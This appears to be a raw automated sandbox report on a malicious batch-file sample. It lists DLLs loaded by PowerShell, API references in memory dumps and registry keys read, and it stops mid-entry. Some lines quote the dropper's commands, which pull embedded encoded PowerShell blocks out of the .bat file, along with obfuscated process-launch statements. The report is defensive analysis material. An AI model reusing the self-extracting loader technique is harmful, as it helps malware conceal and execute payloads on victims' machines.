%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007736) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007736)34:T21a6,Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp, 00000000-00007712.00000000.156396.7F4F0000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00007712.00000001.158316.1BC10000.00000004.mdmp, 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00007712.00000001.158316.76D92000.00000002.mdmp")35:T7f3,Found string "%WINDIR%\system32\cmd.exe /c find /c /v "" < "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00003704-00000C46-2466006870") Found string "%WINDIR%\system32\cmd.exe /c find /c /v "" < "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (Indicator: "cmd.exe /c"; Source: "00000000-00003704-00000C46-2466006870") Found string "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00003704-00000C46-4673685610"), Found string "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5" (Indicator: "cmd.exe /c"; Source: "00000000-00003704-00000C46-4673685610") Found string "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_ENC---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00003704-00000C46-6575474208"), Found string "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_ENC---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da" (Indicator: "cmd.exe /c"; Source: "00000000-00003704-00000C46-6575474208") Found string "%WINDIR%\system32\cmd.exe /c find /c /v "" < "%TEMP%\qrictpazfj4.bat"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00006932-00000C46-2469943482") Found string "%WINDIR%\system32\cmd.exe /c find /c /v "" < "%TEMP%\qrictpazfj4.bat"" (Indicator: "cmd.exe /c"; Source: "00000000-00006932-00000C46-2469943482") Found string "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "%TEMP%\qrictpazfj4.bat"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00006932-00000C46-5006876198") Found string "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "%TEMP%\qrictpazfj4.bat"" (Indicator: "cmd.exe /c"; Source: "00000000-00006932-00000C46-5006876198")36:Tbe2,file/memory contains long string with (Indicator: "system.diagnostics.process]::start"; File: "00000000-00007840") file/memory contains long string with (Indicator: "system.diagnostics.process]::start"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") file/memory contains long string with (Indicator: "system.diagnostics.process]::start"; File: "svc_2842731493_26626.ps1") Found string "set "r6kvN=[System.Diagnostics.Process]::Start($i)|Out-Null"" (Indicator: "system.diagnostics.process]::start"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "$lvua2qwgo=[System.Diagnostics.Process]::Start($lvkzfh)" (Indicator: "system.diagnostics.process]::start"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") file/memory contains long string with (Indicator: "system.diagnostics.process]::start"; File: "powershell.exe") Found string "r6kvN=[System.Diagnostics.Process]::Start($i)|Out-Null" (Indicator: "system.diagnostics.process]::start"; Source: "00000000-00007712.00000000.156396.1BC10000.00000004.mdmp, 00000000-00007712.00000000.156396.7F4F0000.00000004.mdmp, 00000000-00007712.00000000.156396.7F730000.00000004.mdmp, 00000000-00007712.00000000.156396.7FBA0000.00000004.mdmp, 00000000-00007712.00000001.158316.1BC10000.00000004.mdmp, 00000000-00007712.00000001.158316.1C1F0000.00000004.mdmp, 00000000-00007712.00000001.158316.7F4F0000.00000004.mdmp, 00000000-00007712.00000001.158316.7F730000.00000004.mdmp, 00000000-00007712.00000001.158316.7FBA0000.00000004.mdmp, 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp, 00000000-00007712.00000002.160237.1C1F0000.00000004.mdmp, 00000000-00007712.00000002.160237.7F4F0000.00000004.mdmp, 00000000-00007712.00000002.160237.7F730000.00000004.mdmp, 00000000-00007712.00000002.160237.7FBA0000.00000004.mdmp, 00000000-00007712.00000003.160629.1BC10000.00000004.mdmp, 00000000-00007712.00000003.160629.1C1F0000.00000004.mdmp, 00000000-00007712.00000003.160629.7F4F0000.00000004.mdmp, 00000000-00007712.00000003.160629.7F730000.00000004.mdmp, 00000000-00007712.00000003.160629.7FBA0000.00000004.mdmp") Found string "r6kvN=[System.Diagnostics.Process]::Start($i)|Out-Null" (Indicator: "system.diagnostics.process]::start"; Source: "00000000-00007736.00000000.160961.52890000.00000004.mdmp, 00000000-00007736.00000000.160961.52A10000.00000004.mdmp, 00000000-00007736.00000000.160961.52A70000.00000004.mdmp, 00000000-00007736.00000000.160961.6CC70000.00000004.mdmp, 00000000-00007736.00000000.160961.6D250000.00000004.mdmp, 00000000-00007736.00000001.161210.52890000.00000004.mdmp, 00000000-00007736.00000001.161210.52A10000.00000004.mdmp, 00000000-00007736.00000001.161210.52A70000.00000004.mdmp, 00000000-00007736.00000001.161210.6CC70000.00000004.mdmp, 00000000-00007736.00000001.161210.6D2A6000.00000004.mdmp") Found string "r6kvN=[System.Diagnostics.Process]::Start" (Indicator: "system.diagnostics.process]::start"; Source: "00000000-00007736.00000000.160961.6D250000.00000004.mdmp")37:T1c61,"System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in 